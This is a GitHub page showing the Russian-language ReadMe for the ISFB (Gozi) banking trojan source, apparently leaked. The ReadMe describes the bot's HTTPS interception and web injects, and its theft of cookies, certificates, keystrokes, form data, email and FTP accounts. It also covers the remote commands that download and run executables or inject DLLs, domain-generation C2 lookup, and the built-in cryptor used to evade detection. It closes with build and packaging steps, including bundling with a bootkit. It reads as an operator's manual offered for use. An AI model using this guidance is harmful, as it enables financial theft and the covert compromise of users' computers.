forked from NextSecurity/Gozi-MBR-rootkit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ReadMe.txt
198 lines (157 loc) · 10.6 KB
/
ReadMe.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
ISFB - программа-бот предназначенная для анализа и модификации HTTP траффика на компьютере клиента.
Поддерживает все 32х и 64х битные Windows, начиная с Windows XP.
Поддерживает все 32х и 64х битные версии Internet Explorer, начиная с 6.0.
Поддерживает все 32х и 64х битные версии Mozilla Firefox.
ПОддерживает все 32х битные версии Google Chrome.
Программа способна устанавливаться и работать без привелегий администратора.
Обрабатывает весь HTTP траффик браузера в том числе и шифрованый HTTPS.
Бот управляется с удаленного сервера, с помощью файлов конфигурации и команд.
Файлы конфигурации и команд подписываются посредством RSA. При получении файлов, бот проверяет цифровую подпись,
и, в случае несоответвия подписи, файл игнорируется.
При первом запуске бот инициирует таймер. В дальнейшем, по таймеру, бот обращается на управляющий сервер за файлами.
Поддерживается 2 способа поиска управляющего сервера:
- перебор заданного списка доменных имен и выбор активного;
- генерациия динамического списка доменных имен в зависимости от текущей даты и конфигурации системы;
Анализ траффика производится на основе специально сформированного файла конфигурации, который бот получает с сервера.
Такой файл может содержать следующие инструкции:
- подмена HTML страницы целиком
- замена фрагмента HTML страницы
- скопировать фрагмент страницы и отправить на сервер
- найти файл по маске и оправить на сервер
- сделать скриншот экрана и отправить на сервер
Кроме файла конфигурации бот получает с сервера команды:
GET_CERTS - экспортировать и выслать сертификаты, установленные в системном хранилище Windows.
Для XP выгружает, также, неэкспортируемые сертификаты.
GET_COOKIES - собрать cookie FF и IE, SOL-файлы Flash, упаковать их с сохранением структуры
каталогов и выслать на сервер.
CLR_COOKIES - удалить cookie FF и IE, SOL-файлы Flash.
GET_SYSINFO - собрать системную информацию: тип процессора, версию ОС, список процессов, список
драйверов, список установленных программ.
KILL - убить ОС (работает только с правами администратора)
REBOOT - перезагрузить ОС
GROUP=n - сменить ID группы бота на n
LOAD_EXE=URL - загрузить файл с указанного URL и запустить его
LOAD_REG_EXE=URL- загрузить файл с указанного URL, зарегистрировать его в autirun и запустить
LOAD_UPDATE=URL - загрузить апдейт программы и запустить
GET_LOG - отправить внутренний лог на сервер
GET_FILES=* - найти все файлы, соответствующие заданной маске, и отправить на сервер
SLEEP=n - остановить обработку очереди команд на n миллисекунд. (используется при долгих операциях)
SEND_ALL - отправить все данные из очереди на отправку немедленно. В противном случае, данные оправляются
по таймеру.
LOAD_DLL=URL[,URL] - загрузить по указанному URL DLL и инжектить её в процесс explorer.exe.
первый URL для 32х-битной DLL, второй - для 64х-битной.
SOCKS_START=IP:PORT - запустить сокс4\5 сервер (при его наличии)
SOCKS_STOP - остановить сокс4\5 сервер
GET_KEYLOG - отправить данные кейлоггера (при его наличии)
GET_MAIL - активировать граббер E-Mail (при наличии) и отправить, полученные от него, данные
GET_FTP - активировать граббер FTP (при наличии) и отправить, полученные от него, данные
SELF_DELETE - удалить софт из системы, включая все файлы и ключи реестра
URL_BLOCK=URL - заблокировать доступ ко всем URL удовлетворяющим заданной маске
URL_UNBLOCK=URL - разблокировать доступ к URL, удовлетворяющим заданной маске, ранее заблокированным командой URL_BLOCK
FORMS_ON - включить граббер HTTP форм (если есть дефайн _ALWAYS_HTTPS, то граббер HTTPs остаётся включен всегда)
FORMS_OFF - отключить граббер HTTP форм
KEYLOG_ON[= list] - включить кейлог, для заданного списка процессов
KEYLOG_OFF - отключить кейлог
LOAD_INI=URL - загрузить упакованный INI-файл с указанного URL, сохранить его в рееестре и использовать вместо INI-файла,
прикреплённого к софту с помощью билдера. INI-файл должен быть упакован и подписан.
LOAD_REG_DLL = name, URL[,URL] - загрузить DLL по указанному URL, сохранить её под заданным именем и зарегистрировать для
автоматической загрузки после каждого запуска системы
UNREG_DLL = name - удалить из автоматической загрузки DLL c заданным именем
Технические детали
Дропер - программа установки.
Дропер представляет собой исполняемый файл Windows (PE32). В файле, в виде бинарного ресурса, содержятся
две упакованые DLL: 32х битный и 64х-битный бот.
При старте дропер распаковывает DLL и регистрирует их для автозапуска.
DLL распаковываются и регистрируются таким образом, чтобы иметь возможность выполняться при любом уровне привелегий:
как при администраторе, так и при пользователе.
DLL - бот.
Бот представляет собой динамически загружаемую библиотеку (DLL). Для каждой архитектуры собирается своя, соответствующаяя DLL.
DLL-бот загружается во все запускаемые процессы.
Бот состоит из 2х логических компонентов: парсер и сервер. Парсер активируется в контексте процесса-браузера.
Сервер активируется в контексте процесса оболочки (как правило explorer.exe).
Парсер выполняет следующие функции:
- отправка/получение данных (получение команд, конфигов; отправка форм, файлов)
- непосредственный перехват, анализ, и модификация HTTP траффика
Сервер (в контексте explorer.exe) выполняет:
- файловые операции (поиск, создание и удаление файлов)
- запуск программ, обновление
- системные функции (перезагрузка, блокировка ОС)
Таким образом, все операции, требующие привелегий, выполняются сервером в контексте explorer.exe,
а все операции с сетью исключительно из браузера.
Сборка и настройка
Проект собирается при помощи Microsoft Visual Studio 2005, либо более поздней версии.
В проект интегрирован криптор, который используется по-умолчанию.
В результате сборки и криптовки получаются следующие файлы:
Release\crm_p.exe
Release\client_p.dll
x64\Release\client_p.dll
это упакованные и криптованые версии бота и дропера, причем дропер (файл crm_p.exe) содержит в себе два других.
Некриптованные версии бота лежат там же:
Release\crm.exe
Release\client.dll
x64\Release\client.dll
Кроме бота, проект включает в себя:
Release\dname.exe - утилита для генерации псевдо-случайных доменных имен;
Release\rsakey.exe - утилита для подписывания файлов команд и конфига;
config.exe - программа конфигуратор.
Основные настройки программы находятся в файлах id.h и config.h.
id.h содержит номер группы бота.
config.h содержит такие параметры как: список управляющих серверов, названия URL-ов для получения команд и конфигов,
и для отсылки данных, а также различные ключи и параметры влияющие на настройку программы.
Сборка с билдером
Существует возможность собрать ISFB так, чтобы в дальнейшем прикреплять к DLL ключи и файлы настроек,
не пересобирая проект.
1. Собрать ISFB в конфигурации Release(Builder) под x86 и x64.
2. Отредактировать файлы: \public.key и \client.ini, содержащие RSA-ключ и настройки программы соответственно.
3. В консольном окне выполнить build.bat из папки \Builder
4. Забрать готовый installer.exe из папки \Builder\Release
Батник build.bat запускает билдер, который прикрепляет к каджой DLL (для х86 и х64) файлы:
public.key и client.ini.
В последствии обе DLL прикрепляются к инсталлеру.
Готовый инсталлер сохраняется в файл \Release\install.exe
Сборка с BK
Существует возможность собрать ISFB вместе BK в один исполняемый файл-установщик, так, чтобы в случае
ошибки при установке BK, устанофщик извлекал DLL и устанавливал их отдельно.
Примечание: папка, содержащая солюшен с BK2 должена находиться в той же директории, что и папка, содержащая ISFB.
1. Собрать BK в конфигурации Release под х86 и х64.
2. Собрать ISFB в конфигурации Release(Builder) под x86 и x64.
3. Отредактировать файлы: \public.key и \client.ini.
4. В консольном окне запустить bkbuild.bat из папки \Builder
5. Забрать собраный bksetup.exe, содержащий BK, ISFB-DLL и ISFB-инсталлер, из \Builder\Release
Работа в режиме инжекта из памяти
Для работы в режиме инжекта из памяти необходимо установить значение флага _INJECT_AS_IMAGE в файле \common\main.h в
TRUE, и пересобрать проект. В этом случае инсталлер не создает DLL на диске, а копирует себя в одну из системных папок
и регистрируется в Windows AutoRun.
При запуске инсталлер инжектит образ DLL, соответствующей архитектуры, в Explorer.exe, откуда, в свою очередь,
сооответствующий образ DLL инектится во все пораждаемые процессы, разных архитектур.
Плагины
ISFB поддерживает плагины: специально собраные, DLL, экпортирующие функцию PluginRegisterCallbacks и вызывающие
внутренние функции софта (например, функции отправки данных).
Для загрузки плагина используется команда:
LOAD_PLUGIN=URL[,URL] - где первый URL для 32х-битной версии DLL, второй - 64x-битной.
Софт скачивает DLL соответствующей архитектуры и инжектит её в explorer.exe, затем вызывается функция
PluginRegisterCallbacks, в которую передаётся указатель на список коллбэков (функций), реализованых
внутри софта, которые может использовать плагин.
Описание структур и прототипов функций для создания плагинов находится в файле \common\plugin.h
Состав проекта
\AcDLL - библиотека инжектов. Реализует механизм инжекта DLL во все пораждаемые процессы, независимо от архитектуры.
Поддерживает два режима работы: инжект, непосредственно DLL и инжект образа DLL из памяти без создания файла на диске.
\ApDepack - библиотека на основе APLIB, релизующая функции распаковки.
\BcClient - библиотека клиента для бэкконект сервера.
\Client - основная DLL приложения
\Common - библоиотека, реализующая общие функции, используемые в разных частях проекта. Такие как: чтение файлов, ключей реестра,
операции с потоками данных, со строками, с XML, хуки и т.п.
\Crypto - библиотека криптографических функций. Реализует следующие алгоритмы: CRC32, BASE64, MD5, RSA, RC6, AES, DES, SHA1.
Используется для подписи конфиг-файлов и файлов команд, а также, для саршифровки информации e-mail и ftp аккаунтов.
\Dname - программа генерации доменных имён на основе номера группы софта и текущей даты.
\Ftp - библиотека FTP-грабберов.
\Handle - библиотека, реализующая хэш таблицу. Используется для привязки хэндлов HTTP запросов к внутреннему контексту ISFB.
Также, используется кейлоггером, для группировки клавиатурных логов по PID-ам и HWND.
\IM - DLL-плагин, реализующая граббер Instant Messangers.
\Install - программа-установщик ISFB.
\KeyLog - библиотека кейлоггер.
\Mail - библиотека E-mail грабберов.
\RsaKey - программа для шифрования и цифровой подписи конфиг-файлов и файлов команд.
\SocksLib - библиотека, реализующая SOCKS4\5-сервер.
\Sqlite3 - библиотека для работы с БД SQLLite. Используется IM-грабберами.
\ZConv - программа-конвертер конфигов Zeus в конфиг-файлы ISFB.